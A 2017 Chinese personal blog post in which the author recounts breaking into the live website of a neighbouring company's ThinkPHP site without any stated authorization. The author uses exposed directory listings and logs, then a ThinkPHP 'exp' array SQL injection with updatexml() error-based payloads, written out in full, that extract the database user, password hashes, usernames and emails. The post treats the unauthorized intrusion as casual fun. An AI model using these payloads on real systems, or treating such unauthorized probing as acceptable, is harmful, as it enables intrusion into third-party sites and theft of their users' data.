苗火 Nicholas
[MySQL]回家弄了个曝库攻击
2017-2-22 萧


公司隔壁是一家做图像识别的企业,去年才成立的,我最喜欢这种新鲜事物了,今天特意看了看他们的网站,用thinkphp框架做的。thinkphp有一些致命点,兴许他们没工夫处理呢。那今天就来检查检查吧。

首先,各个目录的列表权限——他们没有做处理,Application,Data,Runtime等目录一览无余,安装包都原封不动地躺在那,我清楚地看到他们改动了哪些文件。不过这些意义不是特别大,没有看到什么有价值的东西,有几个数据库脚本也只是原始安装文件。

然后,在Runtime目录下有日志文件,这个略有用,看到了登录后台,看到了登录用户‘Administrator’,而且用户只有一个,看到了一系列根目录,并且这些目录是绝对路径……

再后来,打开登录后台界面,POST方式提交下简单的SQL注入,类似于

select * from table where username='administrator' and password='1' or '1'

当然,这种注入对于thinkphp来说当然是无效的。

再后来,重点来了:

当用户登录时,会提交username和password到服务器,其中username用来查询数据库,返回用户信息,同时password进行单向加密,加密算法

f(x)=md5(sha1(x)+salt)

得到的f(x)与用户信息中的密码字段比对,完成登录验证。

从登录代码往下走:

/Application/Admin/Controller/PublicController.class.php

/ThinkPHP/Library/Think/Db.class.php

可以发现对入参数组以exp开头的处理部分,有点奇妙。比如原本username传入字符串时会按前述走,

构造一个查询:

select * from hd_ucenter_member where username=(***) limit 1;

可是我可以传数组进去呀。

username[0]='exp',username[1]='***'

这会构造一个查询:

select * from hd_ucenter_member where username (***) limit 1;



那么让***为

-1 or updatexml(0,concat(0xa,(user())),0)

怎么样?

马上返回结果:

SQLSTATE[HY000]: General error: 1105 XPATH syntax error: ' root@localhost'

曝库成功!

让***为

-1 or updatexml(0,concat(0xa,(select password from skdb_ucenter_member limit 1)),0)

这次我看到的是密码!!!

同理我得到用户名,得到邮箱等等。

不过这一切对我而言没有任何意义,不要以为那个密码可以用来打开通向世界的大门,别忘了公式

f(x)=md5(sha1(x)+salt)

的存在。

这种用户验证的周到之处在于,即便曝库了,密码仍然是未知的。要想通过密文推知明文,无异于暴力破解了。

不过像这个网站,有待改进。

发表评论:
昵称

邮件地址 (选填)

个人主页 (选填)

内容